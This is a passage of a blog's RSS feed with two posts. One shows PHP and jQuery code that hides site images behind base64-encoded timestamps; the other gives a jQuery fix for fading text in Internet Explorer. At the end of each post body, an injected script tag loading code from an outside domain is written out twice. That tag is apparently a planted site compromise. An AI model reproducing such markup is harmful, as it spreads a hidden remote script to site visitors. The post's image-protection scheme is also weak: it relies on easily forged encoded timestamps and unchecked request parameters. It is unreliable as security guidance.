			<content:encoded><![CDATA[<p>Ever go to a website and think to yourself, &#8220;Wow, those are some nice photos.  I wonder if I can download them and [insert personal use line here]&#8220;?</p>
<p>The issue of protecting images online is quite a challenge, and borderline impossible.  Using <a href="http://www.adobe.com/products/flashplayer/" target="_blank">Flash</a> is a good way to do it, but now you&#8217;ve just limited your audience.  Even with Flash, it&#8217;s not 100% secure.  In safari, users can go to the activity window and see what resources are being downloaded and from where.  Other more advanced users often use <a href="http://getfirebug.com/" target="_blank">Firebug</a> or something of the like to grab the actual <a title="Wikipedia Definition" href="http://en.wikipedia.org/wiki/URL" target="_blank">URL</a> of the image and subsequently access that file directly.</p>
<p>Ultimately, users can always just take a screen shot of the page, but this will also include any of the text that is above the image (unless they use Firebug to hide it).  You can&#8217;t stop that without the user agreeing to download a 3rd party plugin, so might as well deal with that fact.</p>
<p>In lieu of all this, I still wanted to use Pablo Yanez&#8217;s images as wallpapers for my new site design.  He wanted them protected.  I completely agree&#8230; and out of that need, came this project.</p>
<p>Theory behind the process:  (I&#8217;m not going to go into too much detail for, hopefully, obvious reasons)</p>
<ul>
<li>First thing you need to do is create a directory that users will never see or know existed, and name it something funky like, &#8220;sdflkjnVFC3424&#8243;.  Chances are, they won&#8217;t guess it.  This is where you will keep hi-res versions of your images.  Keep track of where this directory is located relative to the image generating PHP script.</li>
<li>The second thing is to create a PHP script that renders out the image dynamically, based on some parameters that are sent in via an AJAX request. Call it image.php or something.</li>
<li>Now you need something that generates that AJAX request URL. The reason for this is because you want that URL to be generated within an arbitrary amount of time before the image generating PHP script gets called.  You can call this encoder.php or something like that.</li>
</ul>
<p>Here&#8217;s the trick: The encoder.php file gets the initial &#8220;Build me the URL of where the image is&#8221; request.  This URL has a time stamp generated and encoded in it. Make sure the time stamp that is being generated adds or subtracts a large number of time, in this example I will say 12304 seconds get added.  This part is key because if users figure out that the encoded parameter is a base_64 encoded time stamp, they can write a script to generate one too, totally defeating the purpose of the time stamp.  That&#8217;s the first part of the encoder.  The second part is to read the directory where the images are and, in my case, put the entire list into an array and pick a random number that is no less than 0 and no larger than the length of the array -1.  This is important because in image.php, we will be doing the same lookup  in the directory, except this time, we are using that random number to select the file name of the file we want to display.  Also, image.php also creates a time stamp (important) and adds 12304 seconds to it.  If image.php&#8217;s time stamp is within, say, 5 seconds of the encoded.php timestamp, the script continues.  Otherwise, the script dies and in my case, renders out &#8220;clear.gif&#8221; to confuse people.</p>
<p>*Important note at this point: Using the time stamp technique disables caching of the images, but because we don&#8217;t want users to retain a copy at all, that&#8217;s fine.</p>
<p>This is my encoder.php file (secure parts omitted):</p>
<pre>
function getRan()
{
	$dir_array = array();
	if ($handle = opendir('Secure images directory, relative to site root')) {
	    while (false !== ($file = readdir($handle))) {
	        if($file!="." &#038;&#038; $file!=".."){
	            $dir_array[] = $file;
	        }
	    }
	    closedir($handle);
	}
	return rand(0,count($dir_array)-1);
}
function getRanAJAX()
{
	$dir_array = array();
	if ($handle = opendir('Secure images directory, relative this')) {
	    while (false !== ($file = readdir($handle))) {
	        if($file!="." &#038;&#038; $file!=".."){
	            $dir_array[] = $file;
	        }
	    }
	    closedir($handle);
	}
	return rand(0,count($dir_array)-1);
}
function getBGParams()
{
	$r = getRan();
	$t = time();//use math to change time - add or subtract in seconds
	$tenc = base64_encode($t);
	$tdir = bloginfo('template_directory'); //wordpress
	$style= $tdir."/image.php?u=".$tenc."&#038;p=".$r;
	echo $style;
}
function getU()
{
	$ref = $_SERVER['HTTP_REFERER'];
	//make sure requests are coming from me
	$pattern = '/^(http:\/\/www.gmtaz.com)|(http:\/\/gmtaz.com)/';
	if(preg_match($pattern,$ref)){
	$r = getRanAJAX();
	$t = time();//use math to change time - add or subtract in seconds
	$tenc = base64_encode($t);
	echo '{"u":"'.$tenc.'", "d" : "' . $tdir . '/image.php", "r" : "'.$r.'", "ref" : "'.$ref.'"}';
	}
}
function getR()
{
	$r = rand(0, 1);
	echo '{"r":"'.$r.'"}';
}
$op = $_GET['o'];
if($op=='u')
	getU();
if($op == 'r')
{
	getR();
}
</pre>
<p>Hopefully that all makes sense.  The first AJAX request using jQuery looks like this:</p>
</p>
<pre escaped="true" lang="javascript" line="1">
< ?php include 'encoder.php' ?>
$(function(){
  		gmtaz.setBG('< ?php getBGParams() ?>');
  		setInterval(function(){
   		var u = '';
   		var url = '';
   		var r = '';
   		var dt = new Date();
   		var time = dt.getTime();
   		//for wordpress
   		var td = "< ?php bloginfo('template_directory'); ?>/encoder.php";
   		$.getJSON(td,
   		 {o:'u', t: time},
   		 function(d){
   		 	u = d.u;
   		 	url = d.d;
   		 	r = d.r;
   		 	var dd = '<?php bloginfo('template_directory'); ?>' + url + '?u='+ u +'&#038;p=' + r;
   		 	//alert(dd +''+ '<?php getBGParams() ?>');
   		 	gmtaz.setBG(dd);
   		 });
  		 }, 12000);
  	});
</pre>
<p>setBG(dd) is actually this function:</p>
</p>
<pre escaped="true" lang="javascript" line="1">
setBG : function(url){
		var url = url + gmtaz.getResolution();
		$('< img />')
		.attr('src', url)
		.load(function(){
		    var src = $(this).attr('src');
		    $('#bg').css({
		    	'backgroundImage':'url('+src+')',
		    	'backgroundRepeat':'no-repeat',
		    	'backgroundAttachment':'fixed'})
		    	.fadeIn('slow',function(){
			    	$('body').css({
			    		'backgroundImage':'url('+src+')',
			    		'backgroundRepeat':'no-repeat',
			    		'backgroundAttachment':'fixed'
			    		});
		    		$(this).fadeOut('fast');
		    	});
		});
	},
getResolution : function(){
		return '&#038;w='+screen.width+"&#038;h="+screen.height;
	},
</pre>
</p>
<p>All this is doing is using some jQuery to grab that image URL which is being passed in and set it as the background.  I actually have two bg layers to allow for the fade effect.</p>
<p>Here&#8217;s image.php:</p>
</p>
<pre escaped="true" lang="php" line="1">

< ?php

$dir_array = array();
if ($handle = opendir('Secure Images Directory')) {
    while (false !== ($file = readdir($handle))) {
        if($file!="." &#038;&#038; $file!=".."){
            $dir_array[] = $file;
        }
    }
    closedir($handle);
}
$images = $dir_array;
$t = time();//same mathematical algorithm as in encoder.php
$tdec = base64_decode($_GET['u']);
$diffT = $t-$tdec;
if($diffT > 5 || $diffT < 0)//if older than 5 seconds - die
	{
		die('clear.gif');
	}
//Disable caching
header("Expires: Tue, 03 Jul 2001 06:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
header("Content-type: image/jpeg");

while (@ob_end_clean());

$PATH = urldecode($_GET['p']);
$File = 'secret directoy'.$images[$PATH];

if (($FileInfos= stat($File)) or die("File not found!"));

$FileExt= substr($File, -3);

$FileTypeMIME= array("jpg" => "image/jpeg",
                         "png" => "image/png",
                         "gif" => "image/gif",
                         "ico" => "image/x-icon");

$ContentType= $FileTypeMIME[$FileExt];
if (empty($ContentType)) die("You are not allowed to access this file!");

$h = $_GET['h'];
$w = $_GET['w'];
$im = @imagecreatefromjpeg($File);
$width = 1920;
$height = 1200;
$NewThumb= ImageCreateTrueColor($w,$h);
// check if ratios match
$_ratio=array($width/$height,$w/$h);
if ($_ratio[0] != $_ratio[1]) { // crop image

    // find the right scale to use
    $_scale=min((float)($width/$w),(float)($height/$h));

    // coords to crop
    $cropX=(float)($width-($_scale*$w));
    $cropY=(float)($height-($_scale*$h));   

    // cropped image size
    $cropW=(float)($width-$cropX);
    $cropH=(float)($height-$cropY);

    $crop = ImageCreateTrueColor($cropW,$cropH);
    // crop the middle part of the image to fit proportions
    ImageCopy(
        $crop,
        $im,
        0,
        0,
        (int)($cropX/2),
        (int)($cropY/2),
        $cropW,
        $cropH
    );
}

// do the thumbnail

if (isset($crop)) { // been cropped
    ImageCopyResampled(
        $NewThumb,
        $crop,
        0,
        0,
        0,
        0,
        $w,
        $h,
        $cropW,
        $cropH
    );
    ImageDestroy($crop);
} else { // ratio match, regular resize
    ImageCopyResampled(
        $NewThumb,
        $im,
        0,
        0,
        0,
        0,
        $w,
        $h,
        $width,
        $height
    );
}
$q=60;//final output quality
ImageJpeg($NewThumb,null,$q);
ImageDestroy($NewThumb);
ImageDestroy($im);
?>
</pre>
<p>
You may notice that I&#8217;m doing some cropping here.  Actually what I&#8217;m doing is sizing the image to the full resolution of the visitor. I crop it to fit the dimension ratio first, then I resize it.  This should make the image always look the same no matter what computer you&#8217;re on.  Handy for dynamically creating wallpapers as well.. I might expand on this and include that function in my wallpaper gallery.
</p>
<p>Let me know if anyone knows a way around this.  I&#8217;m interested in tightening this up!</p>
<p><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmtaz.com/how-to-protect-images-online-using-php-and-jquery/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>jQuery + IE = Friends!</title>
		<link>http://www.gmtaz.com/jquery-ie-friends/</link>
		<comments>http://www.gmtaz.com/jquery-ie-friends/#comments</comments>
		<pubDate>Fri, 26 Feb 2010 20:24:29 +0000</pubDate>
		<dc:creator>Gustavo</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[jquery]]></category>

		<guid isPermaLink="false">http://www.gmtaz.com/?p=331</guid>
		<description><![CDATA[Problem: fade text in or out in IE and the text loses it&#8217;s anti-aliased look and ends up rendering like crap. Guess what?? IE and jQuery are friends now! Yeah, not really&#8230; but I did find this awesome post on: http://www.joelanman.com/archives/15 Basically, it&#8217;s a jQuery plugin to remove the Filter CSS property from any element [...]]]></description>
			<content:encoded><![CDATA[<p>Problem: fade text in or out in IE and the text loses it&#8217;s anti-aliased look and ends up rendering like crap.</p>
<p>Guess what?? IE and jQuery are friends now! Yeah, not really&#8230; but I <em>did</em> find this awesome post on: <a href="http://www.joelanman.com/archives/15" target="_blank">http://www.joelanman.com/archives/15</a></p>
<p>Basically, it&#8217;s a jQuery plugin to remove the Filter CSS property from any element that get called by the fadeTo, fadeOut or fadeIn methods.</p>
<p>Really slick and really useful if you want to anti-alias the text you fade.</p>
<p>Here&#8217;s the snippet:</p>
<pre>(function ($) {
 $.fn.fadeIn = function (speed, callback) {
 return this.animate({
 opacity: 'show'
 }, speed, function () {
 if ($.browser.msie) {
 this.style.removeAttribute('filter');
 }
 if ($.isFunction(callback)) {
 callback.call(this);
 }
 });
 };
 $.fn.fadeOut = function (speed, callback) {
 return this.animate({
 opacity: 'hide'
 }, speed, function () {
 if ($.browser.msie) {
 this.style.removeAttribute('filter');
 }
 if ($.isFunction(callback)) {
 callback.call(this);
 }
 });
 };
 $.fn.fadeTo = function (speed, to, callback) {
 return this.animate({
 opacity: to
 }, speed, function () {
 if (to == 1 &#038;&#038; $.browser.msie) {
 this.style.removeAttribute('filter');
 }
 if ($.isFunction(callback)) {
 callback.call(this);
 }
 });
 };
})(jQuery);</pre>
<p><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gmtaz.com/jquery-ie-friends/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
